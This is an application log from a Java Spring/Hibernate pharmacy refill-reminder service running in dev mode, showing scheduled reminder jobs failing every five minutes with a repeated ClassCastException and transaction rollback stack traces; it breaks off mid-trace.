2024-02-25 13:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 13:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 13:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 13:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 13:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 13:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 13:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 13:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 13:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 13:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 13:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 13:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 13:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 13:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 13:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 13:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 13:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 13:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 13:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 13:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 13:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 13:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 13:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 14:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 14:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 14:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 14:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 14:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at 